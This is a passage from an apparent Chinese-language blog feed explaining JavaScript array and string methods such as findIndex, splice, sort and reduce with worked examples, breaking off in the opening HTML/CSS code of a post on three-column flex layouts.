class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> arr = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">6</span>, <span class="number">5</span>, <span class="number">12</span>];</span><br><span class="line"><span class="keyword">var</span> res = arr.<span class="title function_">findIndex</span>(<span class="function">(<span class="params">item, index, arr</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">return</span> item &gt; <span class="number">4</span>;</span><br><span class="line">&#125;);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(res);<span class="comment">//2 数组中 大于4的 第一个元素的 索引 是5 </span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> res = arr.<span class="title function_">findIndex</span>(<span class="function">(<span class="params">item, index, arr</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">return</span> item &gt; <span class="number">14</span>;</span><br><span class="line">&#125;);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(res);<span class="comment">//-1 数组中 不包含 大于14的元素</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> res = arr.<span class="title function_">findIndex</span>(<span class="function">(<span class="params">item, index, arr</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">return</span> item == <span class="number">6</span>;<span class="comment">//【判断 数组中是否包含 某元素！】</span></span><br><span class="line">&#125;);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(res);<span class="comment">//2  数组中 包含 值为6 的元素，其 索引 是2</span></span><br></pre></td></tr></table></figure><h5 id="拓展："><a href="#拓展：" class="headerlink" title="拓展："></a>拓展：</h5><p>findIndex 与 indexOf 的主要区别在于 findIndex 接受回调作为参数，而 indexOf 接受值作为参数。</p><p>这意味着 indexOf 只会在数组中查找值，而 findIndex 将让你 决定如何查找索引。</p><p>查找数组中是否存在 某元素，是使用 findIndex 还是 indexOf ？？？？</p><p>若要查找的数组元素是 基本类型，两种方法没有区别。</p><p><img src="/posts/zi-fu-chuan-yu-shu-zu/1.webp" alt="基本类型-两种方法 没有区别"></p><h5 id="若要查找-数组中-对象-的索引，会有什么差别吗？？？"><a href="#若要查找-数组中-对象-的索引，会有什么差别吗？？？" class="headerlink" title="若要查找 数组中 对象 的索引，会有什么差别吗？？？"></a>若要查找 数组中 对象 的索引，会有什么差别吗？？？</h5><p><img src="/posts/zi-fu-chuan-yu-shu-zu/1-0.webp" alt="对象-两种方法 有区别"></p><p><img src="/1-2webp" alt="对象-两种方法 有区别"></p><p>正如在 indexOf 中看到的那样，即使我们提供了一个相同的对象，但没有指向同一个引用，它也无法在数组中找到它。</p><p>使用 findIndex 允许我们检查数组中每个对象的属性、键和值，因此它可以在数组中找到正确的项目并返回索引。</p><p>最后，因为我们把引用传递给最后一个 indexOf 方法，它可以在数组中找到正确的项，因为引用相等。</p><h5 id="结论：如果你正在搜索更复杂的值（例如对象），请使用Array-prototype-findIndex-以便你可以通过搜索每个对象的键、值和属性来找到正确的索引。"><a href="#结论：如果你正在搜索更复杂的值（例如对象），请使用Array-prototype-findIndex-以便你可以通过搜索每个对象的键、值和属性来找到正确的索引。" class="headerlink" title="结论：如果你正在搜索更复杂的值（例如对象），请使用Array.prototype.findIndex 以便你可以通过搜索每个对象的键、值和属性来找到正确的索引。"></a>结论：如果你正在搜索更复杂的值（例如对象），请使用Array.prototype.findIndex 以便你可以通过搜索每个对象的键、值和属性来找到正确的索引。</h5><h4 id="push"><a href="#push" class="headerlink" title="push"></a>push</h4><p>功能：数组尾部插入一个项，会改变原数组。返回值为插入后的 数组长度。</p><p>const ary &#x3D; [‘head’, ‘tail’]<br>const length &#x3D; ary.push(‘hello’)<br>console.log(ary) &#x2F;&#x2F; [‘head’, ‘tail’, ‘hello’]console.log(length) &#x2F;&#x2F; 3</p><h4 id="pop"><a href="#pop" class="headerlink" title="pop"></a>pop</h4><p>功能：数组尾部移除一个项，会改变原数组。返回值为移除的项。</p><p>const ary &#x3D; [‘head’, ‘tail’]<br>const item &#x3D; ary.pop()<br>console.log(ary) &#x2F;&#x2F; [‘head’]<br>console.log(item) &#x2F;&#x2F; ‘tail’</p><h4 id="unshift"><a href="#unshift" class="headerlink" title="unshift"></a>unshift</h4><p>功能：数组头部插入一个项，会改变原数组。返回值为插入后的 数组长度。</p><p>const ary &#x3D; [‘head’, ‘tail’]<br>const length &#x3D; ary.unshift(‘hello’)<br>console.log(ary) &#x2F;&#x2F; [‘hello’，’head’, ‘tail’]<br>console.log(length) &#x2F;&#x2F; 3</p><h4 id="shift"><a href="#shift" class="headerlink" title="shift"></a>shift</h4><p>功能：数组头部移除一个项，会改变原数组。返回值为移除的项。</p><p>const ary &#x3D; [‘head’, ‘tail’]<br>const item &#x3D; ary.shift()<br>console.log(ary) &#x2F;&#x2F; [‘tail’]<br>console.log(item) &#x2F;&#x2F; ‘head’</p><h4 id="slice"><a href="#slice" class="headerlink" title="slice"></a>slice</h4><p>函数：Array.slice(?start, ?end)</p><p>功能：数组项的截取，返回一个 新数组。不改变 原数组！！！！！</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> ary1 = [<span class="number">0</span>,<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>].<span class="title function_">slice</span>() <span class="comment">// [0,1,2,3,4,5]</span></span><br><span class="line"><span class="keyword">const</span> ary2 = [<span class="number">0</span>,<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>].<span class="title function_">slice</span>(<span class="number">3</span>) <span class="comment">// [3,4,5]</span></span><br><span class="line"><span class="keyword">const</span> ary3 = [<span class="number">0</span>,<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>].<span class="title function_">slice</span>(<span class="number">3</span>, <span class="number">5</span>) <span class="comment">// [3,4]</span></span><br><span class="line"><span class="keyword">const</span> ary4 = [<span class="number">0</span>,<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>].<span class="title function_">slice</span>(<span class="number">3</span>, -<span class="number">1</span>) <span class="comment">// [3,4]| * end = -1 + 6 = 5， 倒数第一项</span></span><br><span class="line"><span class="keyword">const</span> ary5 = [<span class="number">0</span>,<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>].<span class="title function_">slice</span>(-<span class="number">2</span>, -<span class="number">1</span>) <span class="comment">// [4]</span></span><br></pre></td></tr></table></figure><h4 id="splice"><a href="#splice" class="headerlink" title="splice"></a>splice</h4><p>函数：Array.splice(start, ?deleteCount, …items)</p><p>功能：可以对数组进行添加删除，间接实现替换功能。会改变原数组。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> ary = [<span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>]</span><br><span class="line"><span class="keyword">let</span> res = ary.<span class="title function_">splice</span>(<span class="number">2</span>) <span class="comment">// 从2的位置起，向后删除所有项</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(ary, res) <span class="comment">// ary = [0, 1], res = [2, 3, 4, 5]</span></span><br><span class="line"></span><br><span class="line">ary = [<span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>]</span><br><span class="line">res = ary.<span class="title function_">splice</span>(<span class="number">2</span>, <span class="number">1</span>) <span class="comment">// 从2的位置起，删除1个项</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(ary, res) <span class="comment">// ary = [0, 1, 3, 4, 5], res = [2]</span></span><br><span class="line"></span><br><span class="line">ary = [<span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>]</span><br><span class="line">res = ary.<span class="title function_">splice</span>(<span class="number">2</span>, <span class="number">3</span>) <span class="comment">// 从2的位置起，删除3个项</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(ary, res) <span class="comment">// ary = [0, 1, 5], res = [2, 3, 4]</span></span><br><span class="line"></span><br><span class="line">ary = [<span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>]</span><br><span class="line">res = ary.<span class="title function_">splice</span>(<span class="number">2</span>, <span class="number">1</span>, <span class="string">&#x27;hello&#x27;</span>) <span class="comment">// 从2的位置起，删除1个项, 同时在2的位置添加一个项（间接实现替换功能）</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(ary, res) <span class="comment">// ary = [0, 1, &#x27;hello&#x27;, 3, 4, 5], res = [2]</span></span><br><span class="line"></span><br><span class="line">ary = [<span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>]</span><br><span class="line">res = ary.<span class="title function_">splice</span>(<span class="number">2</span>, <span class="number">3</span>, <span class="string">&#x27;hello&#x27;</span>) <span class="comment">// 从2的位置起，删除3个项, 同时在2的位置添加一个项</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(ary, res) <span class="comment">// ary = [0, 1, &#x27;hello&#x27;, 5], res = [2, 3, 4]</span></span><br><span class="line"></span><br><span class="line">ary = [<span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>]</span><br><span class="line">res = ary.<span class="title function_">splice</span>(<span class="number">2</span>, <span class="number">1</span>, <span class="string">&#x27;hello&#x27;</span>, <span class="string">&#x27;world&#x27;</span>) <span class="comment">// 从2的位置起，删除1个项, 同时在2的位置依次添加多个项</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(ary, res) <span class="comment">// ary = [0, 1, &#x27;hello&#x27;, &#x27;world&#x27;, 3, 4, 5], res = [2]</span></span><br><span class="line"></span><br><span class="line">ary = [<span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>]</span><br><span class="line">res = ary.<span class="title function_">splice</span>(<span class="number">2</span>, <span class="number">3</span>, <span class="string">&#x27;hello&#x27;</span>, <span class="string">&#x27;world&#x27;</span>) <span class="comment">// 从2的位置起，删除3个项, 同时在2的位置依次添加多个项</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(ary, res) <span class="comment">// ary = [0, 1, &#x27;hello&#x27;, &#x27;world&#x27;, 5], res = [2, 3, 4]</span></span><br><span class="line"></span><br><span class="line">ary = [<span class="number">0</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>]</span><br><span class="line">res = ary.<span class="title function_">splice</span>(<span class="number">2</span>, <span class="number">0</span>, <span class="string">&#x27;hello&#x27;</span>, <span class="string">&#x27;world&#x27;</span>) <span class="comment">// 从2的位置起，删除0个项, 同时在2的位置依次添加多个项【索引2的位置被 替换元素占用。之前索引2、及之后的元素，整体后移】</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(ary, res) <span class="comment">// ary = [0, 1, &quot;hello&quot;, &quot;world&quot;, 2, 3, 4, 5], res = []</span></span><br></pre></td></tr></table></figure><h3 id="迭代操作"><a href="#迭代操作" class="headerlink" title="迭代操作"></a>迭代操作</h3><h4 id="sort"><a href="#sort" class="headerlink" title="sort"></a>sort</h4><p>功能：默认 按照数组项的字符的unicode排序，如果不是字符串，调用toString转为字符串。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> ary = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">10</span>, <span class="number">3</span>]</span><br><span class="line">ary.<span class="title function_">sort</span>()</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(ary) <span class="comment">// [1, 10, 2, 3]| * 10转成字符串&#x27;10&#x27;</span></span><br></pre></td></tr></table></figure><p>用法：数字的升、降序 [只适用于 数字间，不适用ascii比大小]</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 升序</span></span><br><span class="line"><span class="keyword">const</span> aryUp = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">10</span>, <span class="number">3</span>]</span><br><span class="line">aryUp.<span class="title function_">sort</span>(<span class="keyword">function</span>(<span class="params">a,b</span>)&#123;<span class="comment">//a在前，b在后</span></span><br><span class="line">    <span class="keyword">return</span> a-b;<span class="comment">// 满足a-b&gt;0,即a&gt;b时，a,b值交换位置。换位置后a小b大，达到 升序</span></span><br><span class="line">&#125;);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(aryUp); <span class="comment">// [1, 2, 3, 10]</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 降序</span></span><br><span class="line"><span class="keyword">const</span> aryDown = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">10</span>, <span class="number">3</span>]</span><br><span class="line">aryDown.<span class="title function_">sort</span>(<span class="keyword">function</span>(<span class="params">a,b</span>)&#123;<span class="comment">//a在前，b在后</span></span><br><span class="line">    <span class="keyword">return</span> b-a;<span class="comment">// 满足b-a&gt;0,即b&gt;a时，a,b值交换位置。换位置后a大b小，达到 降序</span></span><br><span class="line">&#125;);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(aryDown); <span class="comment">// [10, 3, 2, 1]</span></span><br></pre></td></tr></table></figure><h4 id="for…in…"><a href="#for…in…" class="headerlink" title="for…in…"></a>for…in…</h4><h5 id="for-var-index-in-Array"><a href="#for-var-index-in-Array" class="headerlink" title="for(var index in Array)"></a>for(var index in Array)</h5><p>index 为Array中的 索引。【访问 数组元素 使用array[index]】</p><p>补充：数组作为一个对象，为避免遍历其原型链上的 一些共有属性。可能会需要Reflect.ownKeys(arr)或Object.getOwnPropertyNames(arr)。返回所有自有属性key，不管是否可枚举，但不包括 继承自原型的属性。</p><h5 id="for-var-key-in-Object"><a href="#for-var-key-in-Object" class="headerlink" title="for(var key in Object)"></a>for(var key in Object)</h5><p>index 为Object中的 key【访问 对象的值 使用object[key]，其中key是string类型；遍历对象的可枚举属性，包括自有属性、继承自原型的属性】</p><h4 id="for…of…"><a href="#for…of…" class="headerlink" title="for…of…"></a>for…of…</h4><p>for(var item of Array&#x2F;String&#x2F;map&#x2F;set等拥有迭代器对象的集合，不能遍历 对象)<br>item 为Array中的 元素，或String中的 字符。</p><h4 id="forEach"><a href="#forEach" class="headerlink" title="forEach"></a>forEach</h4><p>功能：数组遍历,没有返回值。无法响应break、continue和return语句，直至遍历结束。</p><p>[‘a’, ‘b’, ‘c’].forEach(function(item, index, array) {<br>    console.log(item, index, array)<br>    &#x2F;&#x2F; a 0 [‘a’, ‘b’, ‘c’];<br>    &#x2F;&#x2F; b 1 [‘a’, ‘b’, ‘c’];<br>    &#x2F;&#x2F; c 2 [‘a’, ‘b’, ‘c’];<br>})</p><h4 id="map"><a href="#map" class="headerlink" title="map"></a>map</h4><p>功能：遍历数组各项，并 返回一个 新数组【数组被处理后，数组长度 不变，但元素本身 可能发生改变】</p><p>const ary &#x3D; [‘a’, ‘b’, ‘c’].map(function(item, index, ary) {<br>  return item.charCodeAt(0)<br>})<br>console.log(ary) &#x2F;&#x2F; [97, 98, 99]</p><h4 id="filter"><a href="#filter" class="headerlink" title="filter"></a>filter</h4><p>功能：遍历数组各项，根据判断条件，过滤出（返回）符合条件的元素 所组成的数组【元素个数 可能少于原数组，但 不改变元素本身】</p><p>const ary &#x3D; [1, 2, 3, 10, 21].filter(function(item, index, ary) {<br>  return item &lt; 10<br>})<br>console.log(ary) &#x2F;&#x2F; [1, 2, 3]</p><h4 id="filter-与-map的简单比较："><a href="#filter-与-map的简单比较：" class="headerlink" title="filter 与 map的简单比较："></a>filter 与 map的简单比较：</h4><p><img src="/posts/zi-fu-chuan-yu-shu-zu/filter%E4%B8%8Emap.webp" alt="filter与map的简单比较"></p><h4 id="every-some"><a href="#every-some" class="headerlink" title="every, some"></a>every, some</h4><p>功能：</p><p>（注意：[].every(ele &#x3D;&gt; {return ele})，整体返回true）</p><p>对于一个 []，在 [] 中,没有任何元素 违反了 判断条件，因此 .every() 方法会直接返回 true。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> res = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">10</span>, <span class="number">21</span>].<span class="title function_">every</span>(<span class="keyword">function</span>(<span class="params">item, index, ary</span>) &#123;</span><br><span class="line"> <span class="keyword">return</span> item &lt; <span class="number">100</span></span><br><span class="line">&#125;)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(res) <span class="comment">// true</span></span><br><span class="line"></span><br><span class="line">res = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">10</span>, <span class="number">21</span>].<span class="title function_">some</span>(<span class="keyword">function</span>(<span class="params">item, index, ary</span>) &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(item) <span class="comment">// 1 只执行了一次</span></span><br><span class="line"> <span class="keyword">return</span> item &lt; <span class="number">100</span></span><br><span class="line">&#125;)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(res) <span class="comment">// true</span></span><br><span class="line"></span><br><span class="line">res = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">10</span>, <span class="number">21</span>].<span class="title function_">some</span>(<span class="keyword">function</span>(<span class="params">item, index, ary</span>) &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(item) <span class="comment">// 1 2 3 10 21 遍历了全部</span></span><br><span class="line"> <span class="keyword">return</span> item &gt; <span class="number">100</span></span><br><span class="line">&#125;)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(res) <span class="comment">// false</span></span><br></pre></td></tr></table></figure><h4 id="reduce-reduceRight"><a href="#reduce-reduceRight" class="headerlink" title="reduce, reduceRight"></a>reduce, reduceRight</h4><p><a href="https://www.jianshu.com/p/5e962d1b9844">具体用法详见：JS Array.reduce 理解与使用 - 简书</a></p><p>函数：array.reduce(function(total, currentValue, currentIndex, arr), initialValue)</p><p>功能：聚合数组项，根据聚合函数生成最后结果。当没有指定initialValue时，reduce从第一个元素开始，从左向右聚合，reduceRight相反。【total为上次循环的 结果集，currentValue为array遍历的当前项】</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> res = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>].<span class="title function_">reduce</span>(<span class="keyword">function</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> a + b</span><br><span class="line">&#125;)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(res) <span class="comment">// 1 + 2 + 3 + 4 + 5 = 15</span></span><br><span class="line"></span><br><span class="line">res = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>].<span class="title function_">reduce</span>(<span class="keyword">function</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> a + b</span><br><span class="line">&#125;, <span class="number">10</span>) <span class="comment">// 初始值console.log(res) // 10 + 1 + 2 + 3 + 4 + 5 = 25</span></span><br><span class="line"></span><br><span class="line">res = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>].<span class="title function_">reduce</span>(<span class="keyword">function</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> a - b</span><br><span class="line">&#125;)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(res) <span class="comment">// 1 - 2 - 3 - 4 - 5 = -13</span></span><br><span class="line"></span><br><span class="line">res = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>].<span class="title function_">reduceRight</span>(<span class="keyword">function</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> a - b</span><br><span class="line">&#125;)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(res) <span class="comment">// 5 - 4 - 3 - 2 - 1 = -5</span></span><br><span class="line"></span><br><span class="line">res = [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>].<span class="title function_">reduceRight</span>(<span class="keyword">function</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> a - b</span><br><span class="line">&#125;, <span class="number">1</span>) <span class="comment">// 初始值console.log(res) // 1 - 5 - 4 - 3 - 2 - 1 = -14</span></span><br></pre></td></tr></table></figure><h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><h4 id="会改变-原数组的操作：reverse-sort-splice-push-pop-shift-unshift"><a href="#会改变-原数组的操作：reverse-sort-splice-push-pop-shift-unshift" class="headerlink" title="会改变 原数组的操作：reverse, sort, splice, push, pop, shift, unshift"></a>会改变 原数组的操作：reverse, sort, splice, push, pop, shift, unshift</h4><h2 id="三、字符串-与-数组-的一些同名操作"><a href="#三、字符串-与-数组-的一些同名操作" class="headerlink" title="三、字符串 与 数组 的一些同名操作"></a>三、字符串 与 数组 的一些同名操作</h2><h3 id="slice-1"><a href="#slice-1" class="headerlink" title="slice"></a>slice</h3><p>const str &#x3D; ‘012345’.slice(1,3) &#x2F;&#x2F; ‘12’<br>const ary &#x3D; [0,1,2,3,4,5].slice(1,3) &#x2F;&#x2F; [1,2]</p><h3 id="concat-2"><a href="#concat-2" class="headerlink" title="concat"></a>concat</h3><p>const str &#x3D; ‘start’.concat(‘, ‘, ‘hello’, ‘ world’) &#x2F;&#x2F; start, hello world<br>const ary &#x3D; [‘start’].concat([‘,’, ‘ hello’], [‘world’]) &#x2F;&#x2F; [‘start’, ‘,’, ‘ hello’, ‘world’]</p><h3 id="includes-1"><a href="#includes-1" class="headerlink" title="includes"></a>includes</h3><p>用处：判断 数组 是否包含 指定的元素。或者 字符串 是否包含指定的 子字符串。返回boolean值</p><p>arr &#x3D; [1, 2, 3, 4];<br>str &#x3D; ‘sdfga’;<br>console.log(arr.includes(2));&#x2F;&#x2F;true<br>console.log(arr.includes(6));&#x2F;&#x2F;false<br>console.log(str.includes(‘df’));&#x2F;&#x2F;true<br>console.log(str.includes(‘h’));&#x2F;&#x2F;false</p><h3 id="indexOf-lastIndexOf-1"><a href="#indexOf-lastIndexOf-1" class="headerlink" title="indexOf, lastIndexOf"></a>indexOf, lastIndexOf</h3><p>const index1 &#x3D; ‘hello world’.indexOf(‘o’) &#x2F;&#x2F; 4<br>const index2 &#x3D; [‘hello’，’world’].indexOf(‘world’) &#x2F;&#x2F; 1<br>const index3 &#x3D; ‘hello world’.lastIndexOf(‘o’) &#x2F;&#x2F; 7<br>const index4 &#x3D; [‘hello’，’world’].lastIndexOf(‘world’) &#x2F;&#x2F; 1</p>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> js </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>左中右三栏式布局</title>
      <link href="/posts/zuo-zhong-you-san-lan-shi-bu-ju/"/>
      <url>/posts/zuo-zhong-you-san-lan-shi-bu-ju/</url>
      
        <content type="html"><![CDATA[<p>一、中间 自适应，左右两边 宽度固定</p><h3 id="方法1：box容器-Flex布局，center设置为-flex-1"><a href="#方法1：box容器-Flex布局，center设置为-flex-1" class="headerlink" title="方法1：box容器 Flex布局，center设置为 flex:1"></a>方法1：box容器 Flex布局，center设置为 flex:1</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span> <span class="attr">lang</span>=<span class="string">&quot;en&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">&quot;UTF-8&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">http-equiv</span>=<span class="string">&quot;X-UA-Compatible&quot;</span> <span class="attr">content</span>=<span class="string">&quot;IE=edge&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">name</span>=<span class="string">&quot;viewport&quot;</span> <span class="attr">content</span>=<span class="string">&quot;width=device-width, initial-scale=1.0&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>Document<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">style</span> <span class="attr">type</span>=<span class="string">&quot;text/css&quot;</span>&gt;</span><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-id">#box</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">width</span>: <span class="number">100%</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">height</span>: <span class="number">100px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">display</span>: flex;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">margin</span>: <span class="number">10px</span>;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-id">#left</span>,</span></span><br><span class="line"><span class="language-css">        <span class="selector-id">#right</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">width</span>: <span class="number">200px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">height</span>: <span class="number">100px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">margin</span>: <span class="number">10px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">background-color</span>: <span class="number">#999</span>;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-id">#center</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">flex</span>: <span class="number">1</span>;</span></span><br><span class="line"><span class="language-css">            